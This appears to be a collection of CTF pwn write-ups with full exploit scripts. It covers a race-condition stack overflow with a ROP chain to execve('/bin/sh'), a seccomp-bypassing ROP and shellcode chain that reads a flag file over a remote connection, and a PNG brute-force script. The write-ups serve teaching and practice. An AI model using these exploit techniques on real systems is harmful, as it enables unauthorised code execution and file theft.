[1/0](https://ctftime.org/team/212987) (formerly [zh3r0](https://ctftime.org/team/116018)). I worked on the `notes` challenge for the time I was able to play. It was a fun challenge, introducing me to the `shmget` and `shmat` functions which I had never seen before and going back to basics with a good old race condition. 6 | 7 | ## Reversing 8 | 9 | ### Protections 10 | 11 | Arch: amd64-64-little 12 | RELRO: Full RELRO 13 | Stack: No canary found 14 | NX: NX enabled 15 | PIE: No PIE (0x400000) 16 | 17 | No canary is certainly interesting. Theres almost certainly gonna be a buffer overflow in here somewhere... 18 | 19 | ### Functions 20 | 21 | Heres the main function: 22 | ```c 23 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) 24 | { 25 | pthread_t newthread; // [rsp+0h] [rbp-30h] BYREF 26 | pthread_t v5; // [rsp+8h] [rbp-28h] BYREF 27 | void *shmem; // [rsp+18h] [rbp-18h] 28 | int shmid; // [rsp+24h] [rbp-Ch] 29 | key_t key; // [rsp+28h] [rbp-8h] 30 | int i; // [rsp+2Ch] [rbp-4h] 31 | 32 | buffering(a1, a2, a3); 33 | art(); 34 | alarm(0x3Cu); 35 | key = getpid(); 36 | shmid = shmget(key, 0x800uLL, 950); 37 | if ( shmid == -1 ) 38 | { 39 | syscall(1LL, 1LL, "Error in shmget\n", 17LL); 40 | return 0LL; 41 | } 42 | else 43 | { 44 | shmem = shmat(shmid, 0LL, 0); 45 | if ( shmem != (void *)-1LL ) 46 | { 47 | memset(shmem, 0, 0x800uLL); 48 | *((_BYTE *)shmem + 29) = 0; 49 | if ( pthread_create(&newthread, 0LL, wait_and_copy, shmem) ) 50 | syscall(1LL, 1LL, "Error in creating thread 1\n", 28LL); 51 | if ( pthread_create(&v5, 0LL, start_heap_note, shmem) ) 52 | syscall(1LL, 1LL, "Error in creating thread 2\n", 28LL); 53 | for ( i = 0; i <= 1; ++i ) 54 | pthread_join(*(&newthread + i), 0LL); 55 | shmdt(shmem); 56 | shmctl(shmid, 0, 0LL); 57 | syscall(1LL, 1LL, "Done!\n", 6LL); 58 | exit(0); 59 | } 60 | syscall(1LL, 1LL, "Error in shmat\n", 16LL); 61 | return 0LL; 62 | } 63 | } 64 | ``` 65 | 66 | Fairly simple, we set up buffering and the alarm stuff, then get our pid and call into `shmget`. Looking at the man page for this function we can see: 67 | 68 | ``` 69 | int shmget(key_t key, size_t size, int shmflg); 70 | ... 71 | shmget() returns the identifier of the System V shared memory segment associated with the value of the ar‐ 72 | gument key. It may be used either to obtain the identifier of a previously created shared memory segment 73 | (when shmflg is zero and key does not have the value IPC_PRIVATE), or to create a new set. 74 | ``` 75 | 76 | With `key` as our pid, and the fact that we have not called any `shm` functions before, we can assume that this call will create a new "shared memory segment" rather than reference an old one. So what is a shared memory segment? We can find the answer [here](https://man7.org/linux/man-pages/man7/sysvipc.7.html): 77 | 78 | ``` 79 | **Shared memory segments** 80 | System V shared memory allows processes to share a region a 81 | memory (a "segment"). 82 | ``` 83 | 84 | Fairly obvious by the name, but this is a mechanism that allows multiple processes or threads to share some memory. 85 | 86 | After checking errors we drop into the else case and `shmat`. Looking at the same page we got the shared memory segment info from we can see: 87 | 88 | ``` 89 | [shmat(2)](https://man7.org/linux/man-pages/man2/shmat.2.html) 90 | Attach an existing shared memory object into the calling 91 | process's address space. 92 | ``` 93 | 94 | So this is the function that actually does the legwork. It returns an address which will be the start of our requested shared memory. 95 | 96 | After nulling out the memory we drop into 2 threads. After which we return. 97 | 98 | #### wait_and_copy 99 | 100 | ```c 101 | void __fastcall __noreturn wait_and_copy(void *shmem) 102 | { 103 | while ( 1 ) 104 | { 105 | *((_BYTE *)shmem + 0x1C) = 0; 106 | while ( *((_BYTE *)shmem + 0x1C) != 1 ) 107 | ; 108 | copymem((__int64)shmem); 109 | *((_BYTE *)shmem + 0x1D) = 1; 110 | } 111 | } 112 | ``` 113 | 114 | Pretty simple, we just wait until a variable at offset +0x1c is set to one, then call into `copymem`. Safe to assume this variable is a lock of some kind. After the call we set offset +0x1d to 1. Maybe also some kind of lock? 115 | 116 | #### copy_mem 117 | 118 | ```c 119 | void *__fastcall copymem(__int64 shmem) 120 | { 121 | char dest[64]; // [rsp+10h] [rbp-40h] BYREF 122 | 123 | sleep(2u); 124 | if ( *(int *)(shmem + 0x18) > 64 || *(int *)(shmem + 0x18) < 0 ) 125 | { 126 | syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL); 127 | exit(0); 128 | } 129 | xormem(shmem); 130 | sleep(1u); 131 | syscall(1LL, 1LL, "Sent!\n", 6LL); 132 | return memcpy(dest, (const void *)(shmem + 0x41E), *(int *)(shmem + 0x18)); 133 | ``` 134 | 135 | After sleeping for 2 seconds we check offset +0x18, making sure it is less than 64 and more than 0. If not we complain about the size limit, so i'm assuming this is the "size". Next we xor the memory and sleep for another second. 136 | 137 | At this point is was fairly clear to me that this function is the bug - even though the stack buffer appears to be checked we have multiple threads, maybe there is some way to change the size during the second sleep? After this we copy into our stack buffer `size` bytes from our shared memory and return. 138 | 139 | The `xormem` function isnt particularly relevant. We just xor the contents of our `shmem` with ascii characters - this may sound like a massive problem, but it isnt - you'll see soon enough. 140 | 141 | ### store_note 142 | 143 | In our other thread we start a heap-note like process in which we can create/edit/print various fields. However as my solution only uses a single one of these I will only cover said function, the rest is fairly self explanitory after you understand this anyway. 144 | 145 | ```c 146 | __int64 __fastcall store_note(__int64 shmem) 147 | { 148 | __int64 result; // rax 149 | 150 | syscall(1LL, 1LL, "Enter Note ID: ", 15LL); 151 | read(shmem, 8LL); 152 | syscall(1LL, 1LL, "Enter Note Name: ", 17LL); 153 | read(shmem + 8, 16LL); 154 | syscall(1LL, 1LL, "Enter Note Size: ", 17LL); 155 | __isoc99_scanf("%d", shmem + 0x18); 156 | syscall(1LL, 1LL, "Enter Note Content: ", 20LL); 157 | read(shmem + 0x41E, *(unsigned int *)(shmem + 0x18)); 158 | result = shmem; 159 | *(_BYTE *)(shmem + 0x1C) = 1; 160 | return result; 161 | } 162 | ``` 163 | 164 | Fairly easy to understand, we read in an id (8 bytes), name (16 bytes) and content (controlled size). From this we can assume the structure of our `shmem`: 165 | 166 | ``` 167 | shmem+0x0 == note ID (0x8). 168 | shmem+0x8 == note name (0x10). 169 | shmem+0x18 == note size (0x4) 170 | shmem+0x1c == thread creation lock, has to be 1 before thread 1 (copy thread) can access (0x1). 171 | ``` 172 | 173 | After we store a note, we "unlock" it by setting the creation lock to 1. Of course our other thread is spinning and checking this variable so when it switches over it can start copying memory into the stack buffer. 174 | 175 | Now that we have all this information, we can try exploiting it. 176 | 177 | ## Vulnerability 178 | 179 | The bug is a fairly obvious race condition, although i hate to call it a race condition because the amount of time the program sleep()s means we hit it basically every time. 180 | 181 | If we look back at the `copymem` function again with what we know about the `store_note` functionality now: 182 | 183 | ```c 184 | void *__fastcall copymem(__int64 shmem) 185 | { 186 | char dest[64]; // [rsp+10h] [rbp-40h] BYREF 187 | 188 | sleep(2u); 189 | if ( *(int *)(shmem + 0x18) > 64 || *(int *)(shmem + 0x18) < 0 ) 190 | { 191 | syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL); 192 | exit(0); 193 | } 194 | xormem(shmem); 195 | sleep(1u); // [1] 196 | syscall(1LL, 1LL, "Sent!\n", 6LL); 197 | return memcpy(dest, (const void *)(shmem + 0x41E), *(int *)(shmem + 0x18)); 198 | ``` 199 | 200 | One question comes to mind, what if we initially requested a note with a valid size, but as the program is sleeping at `[1]` we swap it out to a note with a much bigger size? This could allow you to overflow the buffer since the `memcpy` happens immediately afterwards. Since the sleep happens after `xormem` we also dont have to care about our `shmem` being corrupted since we replace it anyway. 201 | 202 | This looks like this in my solution script: 203 | 204 | ```python 205 | add("A", "B", 60, "ABCD") 206 | sleep(2) 207 | add("A", "B", 600, pload ) 208 | ``` 209 | 210 | We create a good note, wait 2 seconds for the first sleep, then after its passed the check and inside the second sleep, swap the contents to a rop payload. Since PIE is off we also have some gadgets to use. You may have also noticed the usage of the raw `syscall` function. This means we can use `syscall` instructions with no leaks, which is a massive plus. 211 | 212 | ## Exploitation 213 | 214 | Seeing what we have when we return into our ropchain from `copymem`, it looks pretty good. For `execve`, we need: 215 | 216 | - rax == 0x3b 217 | - \[rdi\] == "/bin/sh" 218 | - \[rsi\] == 0 219 | - \[rdx\] == 0 220 | 221 | Thankfully, rsi and rdx already point to nulls. This means we need to find a way to control rax and rdi. 222 | 223 | ### rax 224 | 225 | I couldnt find any suitable gadgets in the binary for rax, so I got a bit exotic. If we look at the man page for `alarm`, we can see: 226 | 227 | ``` 228 | **alarm**() returns the number of seconds remaining until any 229 | previously scheduled alarm was due to be delivered, or zero if 230 | there was no previously scheduled alarm. 231 | ``` 232 | 233 | We know that alarm can specify how long until `SIGALRM` is raised. So what if we did something like: 234 | 235 | 1. Call `alarm(0x3b)` to set the the countdown to `SIGALRM` to 0x3b seconds. 236 | 2. Call alarm again, this time 0x3b will be returned in rax exactly where it needs to be for our syscall. 237 | 238 | This is the method I used for controlling rax in my ropchain: 239 | ```python 240 | pload += p64(rdi) 241 | pload += p64(0x3b) 242 | pload += p64(alarm_plt) 243 | pload += p64(rdi) 244 | pload += p64(0x3b) 245 | pload += p64(alarm_plt) 246 | ``` 247 | 248 | ### rdi 249 | 250 | This is more obvious - I wanna find a way to write "/bin/sh" into the bss so i can reference it in my ropchain. Thankfully I can use some of the note editing functionality i skipped over earlier to achieve this: 251 | 252 | ```c 253 | __int64 __fastcall edit_id_show(__int64 shmem) 254 | { 255 | syscall(1LL, 1LL, "Enter Note ID: ", 15LL); 256 | read(shmem, 8LL); 257 | syscall(1LL, 1LL, "Note Name: ", 11LL); 258 | syscall(1LL, 1LL, shmem + 8, 16LL); 259 | syscall(1LL, 1LL, "Note Content: ", 14LL); 260 | return syscall(1LL, 1LL, shmem + 1054, *(unsigned int *)(shmem + 24)); 261 | } 262 | ``` 263 | 264 | We can control rdi, so if we just pass a bss address, we can write 8 bytes into it using this `read(shmem, 8)`. Thankfully "/bin/sh\\x00" is exactly 8 bytes. 265 | 266 | After we can control these registers we can drop directly into a shell. Heres my full script: 267 | 268 | ```python 269 | from pwn import * 270 | from time import sleep 271 | 272 | pname = "./notes" 273 | context.log_level = "debug" 274 | 275 | def cmd(stuff): 276 | p.sendafter(": ", stuff) 277 | 278 | def add(id, name, size, buf): 279 | p.sendlineafter(": ", str(1)) 280 | cmd(id) 281 | cmd(name) 282 | p.sendlineafter(": ", str(size)) 283 | cmd(buf) 284 | 285 | sc = ''' 286 | b *0x00401b81 287 | b *0x00401795 288 | c 289 | ''' 290 | 291 | p = process(pname) 292 | #p = remote("pwn.chall.bi0s.in", 34973) 293 | gdb.attach(p, sc) 294 | sleep(1) 295 | 296 | # 211:0x0000000000401bc2: syscall; 297 | syscall = 0x0000000000401bc2 298 | 299 | ## edit note stuff 300 | edits = 0x00401795 301 | 302 | # bss buffer for our rdi: 303 | bss_buf = 0x00000000404050 304 | 305 | alarm_plt = 0x401060 306 | # 179:0x0000000000401bc0: pop rdi; ret; 307 | rdi = 0x0000000000401bc0 308 | 309 | pload = b"A"*64 310 | pload += b"C"*8 311 | pload += p64(rdi) 312 | pload += p64(bss_buf) 313 | pload += p64(edits) 314 | pload += p64(rdi) 315 | pload += p64(0x3b) 316 | pload += p64(alarm_plt) 317 | pload += p64(rdi) 318 | pload += p64(0x3b) 319 | pload += p64(alarm_plt) 320 | pload += p64(rdi) 321 | pload += p64(bss_buf) 322 | pload += p64(syscall) 323 | 324 | add("A", "B", 60, "ABCD") 325 | sleep(2) 326 | add("A", "B", 600, pload ) 327 | 328 | sleep(3) 329 | ## for calling edit in the rop 330 | p.sendafter("Note ID: ", "//bin/sh") 331 | ## may also be needed, threads are being weird - i think our heap note thread is intercepting our stdin >:(. 332 | #p.send("//bin/sh") 333 | #p.send("//bin/sh") 334 | 335 | 336 | p.interactive() 337 | ``` 338 | 339 | Note: I sent "//bin/sh" because for some reason the first "/" wasnt sending properly. Still dont know why - it works tho. 340 | 341 | # Closing thoughts 342 | 343 | This CTF was fun. I was expecting this challenge to be a lot more painful, but I guess thats just what CTF does to your brain lol. 344 | 345 | Thanks for reading, see you again... Soon... Maybe :P. 346 | 347 | -------------------------------------------------------------------------------- /bi0sCTF22_3/notes/notes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/bi0sCTF22_3/notes/notes -------------------------------------------------------------------------------- /bi0sCTF22_3/notes/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from time import sleep 3 | 4 | pname = "./notes" 5 | context.log_level = "debug" 6 | 7 | def cmd(stuff): 8 | p.sendafter(": ", stuff) 9 | 10 | def add(id, name, size, buf): 11 | p.sendlineafter(": ", str(1)) 12 | cmd(id) 13 | cmd(name) 14 | p.sendlineafter(": ", str(size)) 15 | cmd(buf) 16 | 17 | sc = ''' 18 | b *0x00401b81 19 | b *0x00401795 20 | c 21 | ''' 22 | 23 | p = process(pname) 24 | #p = remote("pwn.chall.bi0s.in", 34973) 25 | gdb.attach(p, sc) 26 | sleep(1) 27 | 28 | # 211:0x0000000000401bc2: syscall; 29 | syscall = 0x0000000000401bc2 30 | 31 | ## edit note stuff 32 | edits = 0x00401795 33 | 34 | # bss buffer for our rdi: 35 | bss_buf = 0x00000000404050 36 | 37 | alarm_plt = 0x401060 38 | # 179:0x0000000000401bc0: pop rdi; ret; 39 | rdi = 0x0000000000401bc0 40 | 41 | pload = b"A"*64 42 | pload += b"C"*8 43 | pload += p64(rdi) 44 | pload += p64(bss_buf) 45 | pload += p64(edits) 46 | pload += p64(rdi) 47 | pload += p64(0x3b) 48 | pload += p64(alarm_plt) 49 | pload += p64(rdi) 50 | pload += p64(0x3b) 51 | pload += p64(alarm_plt) 52 | pload += p64(rdi) 53 | pload += p64(bss_buf) 54 | pload += p64(syscall) 55 | 56 | add("A", "B", 60, "ABCD") 57 | sleep(2) 58 | add("A", "B", 600, pload ) 59 | 60 | sleep(3) 61 | ## for calling edit in the rop 62 | p.sendafter("Note ID: ", "//bin/sh") 63 | ## may also be needed, threads are being weird - i think our heap note thread is intercepting our stdin >:(. 64 | #p.send("//bin/sh") 65 | #p.send("//bin/sh") 66 | 67 | p.interactive() 68 | -------------------------------------------------------------------------------- /fwordCTF21/blacklist-revenge/README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | 3 | ## Chit-chat 4 | 5 | Been a while, huh? 6 | 7 | This is a writeup for the `blacklist-revenge` challenge from [fwordCTF21](https://ctftime.org/event/1405). Its a pretty cool challenge, with some lessons to teach, and even though the challenge was, admittedly fairly easy I feel it still has educational value. Thats why i'm here, of course. 8 | 9 | My previous statement about the challenge being "fairly easy" sounds quite ironic when you realise that I was not the one who originally solved the challenge; that was someone else on my team. Although I quite believe I *could* have solved the challenge for the team, had he not been so fast. 10 | 11 | ## The challenge 12 | 13 | Now that i'm done rambling, whats up with the challenge? 14 | 15 | The description reads: 16 | 17 | ``` 18 | It's time to revenge ! 19 | flag is in /home/fbi/flag.txt 20 | Note : There is no stdout/stderr in the server , can you manage it this year? 21 | ``` 22 | 23 | With stdout + stderr disabled, this might pose a bit of a challenge when trying to exfiltrate the flag. 24 | I did my usual which is running `file` and `checksec` on the binary, just to see what were dealing with: 25 | 26 | ``` 27 | [~/D/f/BlackList_Revenge] : file blacklist 28 | blacklist: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=890009ffb99771b08ad8ac3971e9aef644bce402, for GNU/Linux 3.2.0, not stripped 29 | [~/D/f/BlackList_Revenge] : checksec --file blacklist 30 | [*] '/root/Documents/fword21/BlackList_Revenge/blacklist' 31 | Arch: amd64-64-little 32 | RELRO: Partial RELRO 33 | Stack: Canary found 34 | NX: NX enabled 35 | PIE: No PIE (0x400000) 36 | ``` 37 | 38 | This is already pretty promising; no PIE AND statically linked. This means once we find an exploitable bug we can immediately start ropping, so lets take a look inside. 39 | 40 | ### The binary 41 | 42 | Starting from the beginning: 43 | 44 | ```c 45 | int __cdecl main(int argc, const char **argv, const char **envp) 46 | { 47 | init_0(); 48 | vuln(); 49 | return 0; 50 | } 51 | ``` 52 | 53 | It looks pretty simple, nice. Lets check out `init_0` first: 54 | 55 | ```c 56 | __int64 init_0() 57 | { 58 | int syscall_arr[6]; // [rsp+0h] [rbp-30h] 59 | __int64 filter; // [rsp+20h] [rbp-10h] 60 | unsigned int i; // [rsp+2Ch] [rbp-4h] 61 | 62 | setvbuf(stdout, 0LL, 2LL, 0LL); 63 | setvbuf(stdin, 0LL, 2LL, 0LL); 64 | setvbuf(stderr, 0LL, 2LL, 0LL); 65 | filter = seccomp_init(0x7FFF0000LL); // kill if encountered 66 | syscall_arr[0] = 2; // open 67 | syscall_arr[1] = 0x38; // clone 68 | syscall_arr[2] = 0x39; // fork 69 | syscall_arr[3] = 0x3A; // vfork 70 | syscall_arr[4] = 0x3B; // execve 71 | syscall_arr[5] = 0x142; // execveat 72 | for ( i = 0; i <= 5; ++i ) 73 | (seccomp_rule_add)(filter, 0, syscall_arr[i], 0); 74 | return seccomp_load(filter); 75 | } 76 | ``` 77 | 78 | You can see we disable buffering on stdin + out + err. We then piece together and load a seccomp filter. Here we restrict several syscalls., including `execve` and its brother `execveat`, so no shells for us ;(. Lets dump the seccomp rules with `seccomp-tools` as well, just to be sure: 79 | 80 | ```c 81 | [~/D/f/BlackList_Revenge] : seccomp-tools dump ./blacklist 82 | line CODE JT JF K 83 | ================================= 84 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 85 | 0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012 86 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 87 | 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 88 | 0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012 89 | 0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012 90 | 0006: 0x15 0x05 0x00 0x00000038 if (A == clone) goto 0012 91 | 0007: 0x15 0x04 0x00 0x00000039 if (A == fork) goto 0012 92 | 0008: 0x15 0x03 0x00 0x0000003a if (A == vfork) goto 0012 93 | 0009: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0012 94 | 0010: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0012 95 | 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 96 | 0012: 0x06 0x00 0x00 0x00000000 return KILL 97 | ``` 98 | 99 | From the top, we can see they limit syscalls to 64 bit versions rather than 32, pretty sure this is the default, so this means no `int 0x80`s allowed, so cant bypass the filter that way. 100 | 101 | Lets now take a look at the `vuln` function: 102 | 103 | ```c 104 | __int64 __fastcall vuln() 105 | { 106 | char buf[64]; // [rsp+0h] [rbp-40h] BYREF 107 | 108 | gets(buf); 109 | return 0LL; 110 | } 111 | ``` 112 | 113 | Classy, huh? I havent seen `gets()` used in a while so it was pretty cool to see it again. So to recap: 114 | 115 | We have: 116 | - No PIE, and statically linked; many gadgets available to us right out the door. 117 | - Easy bof vulnerability on the stack. 118 | - ... But, we cant get a shell, so we have to use some combination of ORW, but using `openat` instead of open to net us the flag. 119 | 120 | # Exploitation 121 | 122 | My exploit is fairly simple. It has 3 stages: 123 | 124 | 1. Overflow buffer, rop together a call to `read` into the bss to load a stage 2. I do this because I dont want to deal with `gets()` and its badchars. 125 | 2. Pivot the stack into the bss where a ropchain is waiting. 126 | 3. The ropchain rwx's the bss, then jumps to shellcode I had loaded after. 127 | 128 | Here's what it looks like: 129 | 130 | ```py 131 | from pwn import * 132 | import string 133 | 134 | context.arch = 'amd64' 135 | 136 | script = ''' 137 | break *vuln+29 138 | continue 139 | ''' 140 | 141 | # Print out contents (only up to 0x50 bytes of it though for some reason :/) of a file. 142 | shellcode = asm(''' 143 | 144 | mov rax, 0x101 145 | mov rsi, rdi 146 | xor rdi, rdi 147 | xor rdx, rdx 148 | xor r10, r10 149 | syscall 150 | 151 | mov rdi, rax 152 | mov rax, 0 153 | mov rsi, rsp 154 | mov rdx, 0x50 155 | syscall 156 | 157 | mov rax, 1 158 | mov rdi, 0 159 | syscall 160 | 161 | ''') 162 | 163 | def main(): 164 | 165 | # For our socket shellcode. 166 | dataseg = 0x00000000004dd000 167 | # Just inside read() 168 | syscall = 0x457a00 169 | # For stack pivot, because fuck gets() 170 | pop_rbp = 0x41ed8f 171 | leave = 0x0000000000401e78 172 | 173 | rop = ROP("./blacklist") 174 | elf = ELF("./blacklist") 175 | 176 | # This is effected by bachars bcuz gets(), so im gonna load a stage2. 177 | ropchain = flat( 178 | 179 | # I CBA dealing with the stack, so bss instead :) 180 | # read(0, dataseg, 0x1000) 181 | rop.rdi.address, 182 | 0, 183 | rop.rsi.address, 184 | dataseg, 185 | rop.rdx.address, 186 | 0x1000, 187 | syscall, 188 | 189 | pop_rbp, 190 | dataseg+0x20, # +0x20 to leave room for filenames n shit 191 | leave, 192 | ) 193 | 194 | # This is not affected by badchars, bcuz read() :). 195 | rop2 = flat( 196 | 197 | path := b"/home/fbi/flag.txt\x00", 198 | b"A"*(0x20 - (len(path) - 8)), 199 | 200 | # shellcode here because rop is annoying. 201 | # mprotect(dataseg, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) 202 | rop.rax.address, 203 | 0x0a, 204 | rop.rdi.address, 205 | dataseg, 206 | rop.rsi.address, 207 | 0x1000, 208 | rop.rdx.address, 209 | 7, 210 | syscall, 211 | 212 | # Return into our shellcode... 213 | # Should srop into the somsled somewhere inside the GOT. 214 | dataseg+125, 215 | b"\x90"*50, 216 | shellcode, 217 | ) 218 | 219 | #p = process("./blacklist") 220 | # nc 40.71.72.198 1236 221 | p = remote("40.71.72.198", 1236) 222 | #gdb.attach(p, script) 223 | 224 | p.sendline(b"A"*72 + ropchain) 225 | 226 | # read() doesnt need a newline 227 | p.send(rop2) 228 | 229 | # We should be recieving some data over stdin, which uses the same socket as stdout for comms with the server. So 230 | # pretty much no difference between the 2. 231 | buf = p.recvall() 232 | 233 | # Clean output a lil 234 | printable = "" 235 | for b in buf: 236 | for c in string.printable: 237 | if b == ord(c): 238 | printable += chr(b) 239 | 240 | print(printable) 241 | 242 | 243 | if __name__ == "__main__": 244 | main() 245 | ``` 246 | 247 | Something I can suggest to fellow pwn-players is making use of pwntools; it `asm` function is extremely powerful, and automatic rop-gadget finding is extremely good, especially if you just CBA. 248 | 249 | Some amongst you may have noticed something strange, specifically inside some of my shellcode: 250 | 251 | ```asm 252 | ; openat(0, "/home/fbi/flag.txt", O_RDONLY, 0); 253 | mov rax, 0x101 254 | mov rsi, rdi 255 | xor rdi, rdi 256 | xor rdx, rdx 257 | xor r10, r10 258 | syscall 259 | 260 | ; read(flag_fd, rsp, 0x50) 261 | mov rdi, rax 262 | mov rax, 0 263 | mov rsi, rsp 264 | mov rdx, 0x50 265 | syscall 266 | 267 | ; write(0, rsp, 0x50) 268 | mov rax, 1 269 | mov rdi, 0 270 | syscall 271 | ``` 272 | 273 | Specifically the last 2/3 lines. How on earth does that work? We know writing to stdin is possible, of course you can write into the stdin of another terminal session and ruin someones day, but how are we able to recieve it the same way we would recieve stdout from the server? 274 | 275 | ## A tale of sockets and servers 276 | 277 | This is, in all actuality pretty easy to explain. Take a look at this diagram: 278 | 279 | ![Socket/Client diagram](https://www.cs.uregina.ca/Links/class-info/330/Sockets/server-client.png) 280 | 281 | [here](https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html) 282 | 283 | A server, like the one our challenge was running on will listen for a connection, and wait in a loop, `accept()`ing any connections that come its way. `accept()` will then give the server a file descriptor which can be used to communicate with the client. Its important to note that this is FULL duplex; if I, as the server want to read OR write data to/from the client, I use this pipe as the sole medium to do so. 284 | 285 | With this knowledge, we can look back on how our shellcode works. Since the `write()` is actually SENDING data to us, its irrelevant what file descriptor is used, because in the end the client will recieve the data over the same socket anyway. This essentially shows us that in a networked context stdin, stdout, and stderr are essentially exactly the same thing (one socket to rule them all). 286 | 287 | Btw if I got anything wrong above, feel free to correct me, but thats my understanding. 288 | 289 | Another thing, earlier I mentioned that stdout and stderr are closed in this challenge. This is not true of the local binary, so im not actually sure how this is implemented but its definitely only server side. 290 | 291 | # Closing thoughts 292 | 293 | A hacker has to think outside the box, wether you do pwn, crypto, web, or rev (or all of them) each requires the hacker mindset. 294 | 295 | In our shellcode, for example we *could* have just created a NEW socket to transmit the flag over, but why would we do that when we already have a perfectly usable socket already created? 296 | 297 | I probably need to get better at thinking this way, since the idea did not even cross my mind. 298 | 299 | Thanks for sticking around this far, if you did. 300 | 301 | # References 302 | 303 | - 304 | - 305 | - 306 | -------------------------------------------------------------------------------- /fwordCTF21/blacklist-revenge/blacklist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/fwordCTF21/blacklist-revenge/blacklist -------------------------------------------------------------------------------- /fwordCTF21/blacklist-revenge/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | context.arch = 'amd64' 5 | 6 | script = ''' 7 | break *vuln+29 8 | continue 9 | ''' 10 | 11 | # Print out contents (only up to 0x50 bytes of it though for some reason :/) of a file. 12 | shellcode = asm(''' 13 | 14 | mov rax, 0x101 15 | mov rsi, rdi 16 | xor rdi, rdi 17 | xor rdx, rdx 18 | xor r10, r10 19 | syscall 20 | 21 | mov rdi, rax 22 | mov rax, 0 23 | mov rsi, rsp 24 | mov rdx, 0x50 25 | syscall 26 | 27 | mov rax, 1 28 | mov rdi, 0 29 | syscall 30 | 31 | ''') 32 | 33 | def main(): 34 | 35 | # For our socket shellcode. 36 | dataseg = 0x00000000004dd000 37 | # Just inside read() 38 | syscall = 0x457a00 39 | # For stack pivot, because fuck gets() 40 | pop_rbp = 0x41ed8f 41 | leave = 0x0000000000401e78 42 | 43 | rop = ROP("./blacklist") 44 | elf = ELF("./blacklist") 45 | 46 | # This is effected by bachars bcuz gets(), so im gonna load a stage2. 47 | ropchain = flat( 48 | 49 | # I CBA dealing with the stack, so bss instead :) 50 | # read(0, dataseg, 0x1000) 51 | rop.rdi.address, 52 | 0, 53 | rop.rsi.address, 54 | dataseg, 55 | rop.rdx.address, 56 | 0x1000, 57 | syscall, 58 | 59 | pop_rbp, 60 | dataseg+0x20, # +0x20 to leave room for filenames n shit 61 | leave, 62 | ) 63 | 64 | # This is not affected by badchars, bcuz read() :). 65 | rop2 = flat( 66 | 67 | path := b"/home/fbi/flag.txt\x00", 68 | b"A"*(0x20 - (len(path) - 8)), 69 | 70 | # shellcode here because rop is annoying. 71 | # mprotect(dataseg, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) 72 | rop.rax.address, 73 | 0x0a, 74 | rop.rdi.address, 75 | dataseg, 76 | rop.rsi.address, 77 | 0x1000, 78 | rop.rdx.address, 79 | 7, 80 | syscall, 81 | 82 | # Return into our shellcode... 83 | # Should srop into the somsled somewhere inside the GOT. 84 | dataseg+125, 85 | b"\x90"*50, 86 | shellcode, 87 | ) 88 | 89 | #p = process("./blacklist") 90 | # nc 40.71.72.198 1236 91 | p = remote("40.71.72.198", 1236) 92 | #gdb.attach(p, script) 93 | 94 | p.sendline(b"A"*72 + ropchain) 95 | 96 | # read() doesnt need a newline 97 | p.send(rop2) 98 | 99 | # We should be recieving some data over stdin, which uses the same socket as stdout for comms with the server. So 100 | # pretty much no difference between the 2. 101 | buf = p.recvall() 102 | 103 | # Clean output a lil 104 | printable = "" 105 | for b in buf: 106 | for c in string.printable: 107 | if b == ord(c): 108 | printable += chr(b) 109 | 110 | print(printable) 111 | 112 | 113 | if __name__ == "__main__": 114 | main() 115 | -------------------------------------------------------------------------------- /redpwn 2021/Image-identifier/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redpwn/jail:v0.0.2 2 | 3 | # ubuntu:bionic 4 | COPY --from=ubuntu@sha256:ce1e17c0e0aa9db95cf19fb6ba297eb2a52b9ba71768f32a74ab39213c416600 / /srv 5 | 6 | COPY bin/chal /srv/app/run 7 | COPY bin/flag.txt /srv/app/flag.txt 8 | -------------------------------------------------------------------------------- /redpwn 2021/Image-identifier/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/redpwn 2021/Image-identifier/chal -------------------------------------------------------------------------------- /redpwn 2021/Image-identifier/off_brute.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | 4 | context.log_level = 'error' 5 | 6 | ##Gdb + config stuff 7 | script = ''' 8 | b *main+160 9 | b *pngHeadValidate 10 | b *update_crc 11 | b *update_crc+98 12 | b *pngChunkValidate+27 13 | b *pngChunkValidate+160 14 | b *pngHeadValidate+244 15 | b *main+449 16 | continue 17 | ''' 18 | 19 | ## Making the image 20 | # Size of image, but also size of the allocation 21 | img_sz = 0x20 + 1 + (8) 22 | # For passing the first check 23 | pngHead = 0x0a1a0a0d474e5089 24 | # We need this @ index 29 25 | checksum = 0x5ab9bc8a 26 | 27 | # Padding 28 | 29 | def main(): 30 | # Connect/start proc 31 | 32 | for i in range(0, 0xffff): 33 | 34 | png = p64(pngHead) + b"\r" * (7) 35 | png += b"A"*( 29 - len(png) ) 36 | png += p32(checksum) 37 | png += b"\x00"*3 + b"\x27" 38 | png += p32(i) 39 | png += b"\x00" * (img_sz - len(png)) 40 | 41 | p = process("./chal") 42 | 43 | #print(p.sendlineafter("How large is your file?\n\n", str(img_sz))) 44 | p.sendlineafter("How large is your file?\n\n", str(img_sz)) 45 | #p.sendline(str(img_sz)) 46 | 47 | p.sendafter("please send your image here:\n\n", png) 48 | 49 | 